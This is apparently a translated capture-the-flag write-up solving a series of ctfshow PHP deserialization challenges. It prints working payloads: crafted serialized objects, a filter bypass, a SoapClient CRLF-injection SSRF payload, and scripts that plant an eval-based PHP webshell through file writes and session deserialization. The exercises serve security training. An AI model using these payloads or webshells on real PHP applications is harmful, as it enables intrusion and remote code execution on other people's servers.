ctfshow_ On deserialization

Posted by squimmy on Sat, 30 Oct 2021 17:44:41 +0200

web254

?username=xxxxxx&password=xxxxxx

web255

cookie:

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

cookie:

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:

?username=a&password=xxxxxx

web257

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

Function to call: eval

    public function __destruct(){
        $this->class->getInfo();
    }

Try to change the class attribute of ctfShowUser class to backDoor class

 

No bypass

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class;
​
    public function __construct($a)
    {
        $this->class = $a;
    }
​
}
​
class backDoor{
    private $code='phpinfo();';
    public function getInfo(){
        eval($this->code);
    }
}
$a = new backDoor();
$b = new ctfShowUser($a);
echo urlencode(serialize($b));

web258

Added a layer of filtering

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

 

You can bypass it by adding a plus sign

O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

%2b url encoded+

That is, O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}

Adding a space after the sign does not affect:

web259

The source code of flag.php is given

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

Visit the flag.php page to echo your ip not 127.0.0.1

index.php

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

The deserialization entry is here

 

SoapClient

//You need to open the soap extension in php.ini

PHP's built-in class SoapClient is a class specially used to access Web services. It can provide a PHP client to access Web services based on SOAP Protocol.

The class is summarized as follows:

SoapClient {
    /* method */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

As you can see, the built-in class has a__ Call method, when__ After the call method is triggered, it can send HTTP and HTTPS requests. That's it__ Call method, so that SoapClient class can be used in SSRF. SoapClient is also a built-in class that has been mined to be the best to use.

The constructor of this class is as follows:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

Public SoapClient:: the first parameter of SoapClient (mixed $wsdl [, array $options]) is used to indicate whether it is a wsdl mode. Setting this value to null indicates a non wsdl mode. The second parameter is an array. If in wsdl mode, this parameter is optional; If you are in non wsdl mode, you must set the location and uri options, where location is the URL of the SOAP server to which you want to send the request, and uri is the target namespace of the SOAP service.

 

payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

Reference article: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

soapclient https://www.btis.site/2020/07/13/SoapClient%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%EF%BC%9A

web260

?ctfshow=s%3A18%3A%22ctfshow_i_love_36D%22%3B

web261

Topic tip: call Redis

Target: file_ put_ contents($this->username, $this->password);

ps:

If both unserialize() and wakeup() magic methods are defined in the class, only unserialize() method will take effect and wakeup() method will be ignored.

 

<?php
class ctfshowvip{
    public $username;
    public $password;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web262

Comment tip: message.php

 if($msg->token=='admin'){
        echo $flag;

However, we cannot directly control the attribute token, which is written to death

Go back to the beginning page

$umsg = str_replace('fuck', 'loveU', serialize($msg));

fuck four characters, replace with five characters

 

You can control the token by deserializing the character escape. At the beginning, the page creates a cookie. On the first page, you can access the message by escaping the cookie with malicious token attribute, and deserialize the flag

O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:5:"admin";}
Content to escape: 27 characters
";s:5:"token";s:5:"admin";}

We input fuck 27 times, and after replacement, there are 27 more characters than before

 

Local debugging:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$str = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$a = new message(1,2,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'loveU', $mes);
​
var_dump(unserialize($umsg));

result:

object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  int(2)
  ["to"]=>
  string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"
  ["token"]=>
  string(5) "admin"
}

It can be seen that the token has been escaped to admin at this time

 

Conversely, if there are fewer substitutions, we can also add attributes

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
//echo serialize(new message());
$b='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck';
$str = ';s:5:"token";s:5:"admin';
$a = new message(1,$b,$str);
$mes = serialize($a);
$umsg = str_replace('fuck', 'lov', $mes);
echo $umsg;
//O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:68:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}
//";s:2:"to";s:23:"
//17 characters
var_dump(unserialize($umsg));
​
O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:64:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}object(message)#2 (4) {
  ["from"]=>
  int(1)
  ["msg"]=>
  string(64) "lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:"
  ["to"]=>
  NULL
  ["token"]=>
  string(5) "admin"
}

Added non-existent attribute

web263

php session deserialization, www.zip

1. Understand the principle of php session deserialization vulnerability

https://www.jb51.net/article/116246.htm

2. Do questions

$_ COOKIE['limit '] we can control it

inc/inc.php

file_put_contents("log-".$this->username, "use".$this->password."land".($this->status?"success":"fail")."----".date_create()->format('Y-m-d H:i:s'));

"Log -". $this - > username the file name we wrote

"Use" $this - > password. "Login" ($this - > status? "Success": "failure"). "----". Date_ Create() - > format ('y-m-d H: I: s') what we write

 

But how do I call the__ For destruct, we can trigger it by calling unserialize after deserialization, storage and retrieval through phpsession

<?php
class User{
    public $username;
    public $password;
    public $status='a';
​
}
$a=new User();
$a->username='a.php';
$a->password='<?php eval($_POST[1]);?>';
echo base64_encode('|'.serialize($a));

Put the generated things into the cookie['limit '], and then visit index.php

trigger

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

Save to session

This is because when using the php engine, the php engine will use | as the separator between key and value, then a:1:{s:4:"ryat";s:30: "as the key of SESSION, O:1:"A":1:{s:1:"a";s:2:"xx ";} as the value, and then deserialize it to get the class A.

This different engine used for serialization and deserialization is the cause of the PHP Session serialization vulnerability. When loading a page using the php engine, the session reads the content in the session and deserializes, causing the vulnerability to be triggered without any output

 

We can write log-a.php in one sentence

web264

262 + 263 feeling

$_SESSION['msg']=base64_encode($umsg)

The session is saved here

 

message.php

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

The session is taken out here with unserialize

/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

    public function login(){
        return $this->token===$this->password;
    }

The token is a random number, but we can control the address to pass parameters, and let the password point to the address of the token

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
}
​
echo urlencode(serialize(new ctfshowAdmin()));

web266

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

If ctfshow is matched, an exception will be thrown, so that the _destroymethod cannot be triggered

 

Take the environmental test of the previous question:

<?php
class ctfshowAdmin{
    public $token;
    public $password;
​
    public function __construct(){
        $this->token= 'a';
        $this->password = &$this->token;
    }
    public function __destruct(){
        echo '<br>success<br>';
    }
}
$a = new ctfshowAdmin();
echo serialize($a);
​
$c = 'O:12:"CtfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}';
unserialize($c);

 

Echo

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
success
​
success

Therefore, as long as the serialized string is capitalized with c, the regular matching can be bypassed, and deserialization does not affect

The local test is repeated, and the case of any character does not seem to affect _destroy

 

 

 

 

 

Topics: wp ctfshow